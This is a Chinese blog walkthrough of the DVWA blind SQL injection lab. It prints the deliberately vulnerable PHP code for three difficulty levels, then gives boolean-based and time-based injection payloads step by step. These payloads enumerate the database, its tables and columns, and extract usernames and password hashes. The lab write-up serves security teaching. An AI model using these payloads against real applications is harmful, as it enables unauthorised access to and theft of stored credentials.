• DVWA——SQL Injection Blind(SQL盲注)


    SQL 盲注介绍:

     盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

     盲注思路步骤:

    1.判断是否存在注入,注入是字符型还是数字型

    2.猜解当前数据库名

    3.猜解数据库中的表名

    4.猜解表中的字段名

    5.猜解数据


    Low级:

    <?php 
    
    if( isset( $_GET[ 'Submit' ] ) ) { 
        // Get input 
        $id = $_GET[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
    
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞

    User ID exists in the database.                显示存在,

    User ID is MISSING from the database.  显示不存在

    方法一:基于布尔盲注

     1.判断是否存在注入,注入类型

    输入 1, 输出 exists

     输入  1' and 1=1 # ,输出 exists

     输入 1' and 1=2 # ,输出 MISSING

     所以存在字符型的盲注。

    2.猜数据库名

    先猜数据库名长度:1'  and length(database())=1 # ,显示不存在 直到 1' and length(database())=4 # , 显示存在。。说明库名长度为4

     然后采用二分法猜数据库的名字。

     输入1' and ascii(substr(databse(),1,1))>88 #,显示存在,说明数据库名的第一个字符的ascii值大于88

     输入1' and ascii(substr(databse(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;

     直到猜到准确的数为止。我们通过试验知道了,这里第一个ASCII值为100,ASCII的表去找对应的字母

     输入1' and ascii(substr(database(),2,1))>88 #  —— 去找第二个字母 等等等

    重复以上步骤,得到库名为dvwa

    3.猜解数据库中的表名

    先猜表的个数 1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ,输出MISSING 不存在

    接着  1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #,输出MISSING 不存在

    1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists 存在

    所以有两个表,我们先猜第一个表的长度

    输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING

    使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists

    直到——  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。

    现在猜第一个表的第一个字母

    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

    直到—— 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g

    然后我们再去猜其他的9个字母,为u、e、s、t、b、o、o、k,即为guestbook

    以及去猜第二个表

    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

    。。。

    第二个表为,users

    4.猜列名

    就直接拿 users表为例了。

    先猜表中的字段数目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #   (中间步骤省略了) 数目为 8

    猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...

    【猜想】数据库中可能保存的字段名称
    用户名:username/user_name/uname/u_name/user/name/...
    密码:password/pass_word/pwd/pass/...

    所以说我们的命令就可以是 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists

     1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists

    所以我们可以知道 users表中有 user和password。还可以试试别的

    5.猜表中的字段值

    同样使用二分法来做,直接写最后一步了:

    用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists

    ——说明user字段中第1个字段值的字符长度=5。

    密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,

    ——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

    然后再使用二分法猜解user字段的值:(用户名)

    1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)

    1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)                                            

    。。。。。

    猜解password字段的值:(密码)

    1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)

    。。。。。

    方法二:基于时间盲注

    1.判断是否存在注入,注入是字符型还是数字型

    输入1' and sleep(5) #,感觉到明显延迟;

    输入1 and sleep(5) #,没有延迟;

    说明存在字符型的基于时间盲注。

    2.猜解当前数据库名

    (前面猜的方法都有,直接给结果了):1' and if(length(database())=4,sleep(5),1) # 明显延迟,说明数据库名长度为4个字符。

    然后二分法猜数据库名:1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明显延迟,说明数据库第一个字符为 d。

    重复上述步骤,可猜出数据库名为 dvwa

    3.猜解数据库中的表名

    首先猜解数据库中表的数量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# ,说明有两个表

    然后猜第一个表名长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,说明第一个表名长度为9

    采用二分法即可猜解出表名。

    4.猜解表中的列名

    还是先猜users表中的列的数量:1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# ,明显延迟,说明有8个列

    然后猜第一个列名的长度:1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟,说明第一个列名为7个字符

    再用二分法猜解。。。

    5.猜解数据

    同样采用二分法来猜解,上面有过程。

    (因为命令实在太多,而且成功与否的输出情况都一样,就没截图了)

    Medium级:

    <?php 
    
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $id = $_POST[ 'id' ]; 
        $id = mysql_real_escape_string( $id ); 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        //mysql_close(); 
    } 
    
    ?> 

    可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

    我们可以看到这种情况和前面的sql手工注入类似,可以用抓包修改id进行注入

    这里就不再赘述了,可以参考上一篇文章,还有上面Low级的教程。

    High级:

    <?php 
    
    if( isset( $_COOKIE[ 'id' ] ) ) { 
        // Get input 
        $id = $_COOKIE[ 'id' ]; 
    
        // Check database 
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 
    
        // Get results 
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
        if( $num > 0 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // Might sleep a random amount 
            if( rand( 0, 5 ) == 3 ) { 
                sleep( rand( 2, 4 ) ); 
            } 
    
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
    
            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    
        mysql_close(); 
    } 
    
    ?> 

    可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。

    同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。但是我们可以通过#将其注释掉。

    和前面的SQL注入一样,但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只能使用基于布尔的盲注。

    Low级有命令,可以自己试试。。

  • 相关阅读:
    GRUB2 分析 (三)
    GRUB2 分析 (二)
    快速填充像素的方法
    GRUB2 分析 (一)
    自制Linux映像和发行版Robomind
    为MarS Board安装无线网卡Linux驱动
    alsa音频播放过程中的基本概念
    常见Soc平台图形内存管理学习笔记
    snprintf笔记
    linux命令行配置wifi连接并通过ssh代理开启socks代理
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12448248.html
Copyright © 2020-2023  润新知